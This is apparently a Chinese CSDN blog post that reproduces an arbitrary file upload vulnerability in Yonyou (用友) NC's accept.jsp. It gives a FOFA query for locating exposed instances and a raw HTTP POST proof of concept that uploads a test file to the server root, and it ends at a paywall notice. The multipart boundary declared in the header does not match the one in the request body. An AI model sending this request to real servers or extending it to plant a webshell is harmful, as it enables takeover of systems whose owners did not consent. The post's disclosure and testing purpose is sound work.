用友NC accept.jsp任意文件上传（含批量验证poc）

今天晚上早睡觉

已于 2024-04-15 20:31:52 修改

阅读量68

点赞数

分类专栏：漏洞复现文章标签： java 开发语言 web安全

于 2024-04-15 20:30:45 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137794416

版权

漏洞复现专栏收录该内容

360 篇文章 160 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了用友NC中accept.jsp存在的任意文件上传漏洞，该漏洞可能导致服务器权限被攻击者获取。复现过程通过fofa搜索语法定位到目标应用，POC表明文件将保存在根目录。

摘要由CSDN通过智能技术生成

漏洞描述

用友NC accept.jsp处存在任意文件上传漏洞，攻击者通过漏洞可以获取网站权限，导致服务器失陷。

漏洞复现

fofa语法：app=”用友-UFIDA-NC”
POC

POST /aim/equipmap/accept.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Host: 
Content-Type: multipart/form-data; boundary=---------------------------16314487820932200903769468567
Content-Length: 206
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Connection: close

----------170237501
Content-Disposition: form-data; name="file";filename="ok.txt"

1234
----

了解本专栏